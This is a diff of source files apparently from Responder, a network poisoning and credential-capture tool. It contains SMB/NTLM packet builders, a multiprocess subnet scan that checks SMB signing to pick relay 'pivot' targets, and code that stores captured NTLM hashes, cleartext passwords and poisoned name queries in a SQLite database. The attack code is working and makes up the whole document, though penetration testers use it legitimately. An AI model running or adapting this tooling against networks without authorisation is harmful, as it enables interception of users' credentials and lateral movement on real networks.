self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
##### LM Challenge Offset Calculation..######
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
######################################################################################################
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path",""),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x10"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\xff\xff"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x00\x00"),
("ParamOffset", "\x5c\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x54\x00"),
("SetupCount", "\x02"),
("Reserved2", "\x00"),
("PeekNamedPipe", "\x23\x00"),
("FID", "\x00\x00"),
("Bcc", "\x47\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

View File

@@ -15,11 +15,15 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
import multiprocessing
from socket import *
from time import sleep
from odict import OrderedDict
__version__ = "0.3"
Timeout = 0.5
__version__ = "0.7"
Timeout = 2
class Packet():
fields = OrderedDict([
])
@@ -139,15 +143,22 @@ def dtoa(d):
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined
except:
return "Could not get Hostname.", "Could not get Domain joined"
@@ -205,6 +216,27 @@ def SmbFinger(Host):
return signing, OsVersion, ClientVersion
except:
pass
def SmbFingerSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
return False
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
signing = IsSigningEnabled(data)
return signing
except:
pass
##################
#run it
def ShowResults(Host):
@@ -244,6 +276,43 @@ def ShowSmallResults(Host):
pass
def ShowScanSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
Hostname, DomainJoined = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
print Message
except:
pass
def ShowSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
print "[Pivot Verification Failed]: Target host is down"
return True
try:
Signing = SmbFingerSigning(Host)
if Signing == True:
print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
return True
else:
return False
except:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
@@ -255,3 +324,23 @@ def RunFinger(Host):
else:
ShowResults((Host,445))
def RunPivotScan(Host, CurrentIP):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
if CurrentIP == host:
pass
else:
p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
threads.append(p)
p.start()
sleep(1)
else:
ShowScanSmallResults((Host,445))

View File

@@ -23,6 +23,17 @@ import time
import settings
import datetime
def RandomChallenge():
if settings.Config.NumChal == "random":
from random import getrandbits
NumChal = '%016x' % getrandbits(16 * 4)
Challenge = ''
for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex")
return Challenge
else:
return settings.Config.Challenge
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
@@ -135,33 +146,39 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump:
dump.write(data + '\n')
def SaveToDb(result):
# Creating the DB if it doesn't exist
def CreateResponderDb():
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit()
cursor.close()
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
if len(result['user']) < 2:
print color('[*] Skipping one character username: %s' % result['user'], 3, 1)
text("[*] Skipping one character username: %s" % result['user'])
return
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
(count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
@@ -204,6 +221,9 @@ def SaveToDb(result):
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
elif len(result['cleartext']):
print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1)
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else:
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
text('[*] Skipping previously captured hash for %s' % result['user'])
@@ -211,6 +231,23 @@ def SaveToDb(result):
cursor.commit()
cursor.close()
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
@@ -262,7 +299,7 @@ def banner():
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
print ""
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)"
print " To kill this script hit CRTL-C"
print " To kill this script hit CTRL-C"
print ""
@@ -291,6 +328,7 @@ def StartupMessage():
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)
print ""
print color("[+] ", 2, 1) + "HTTP Options:"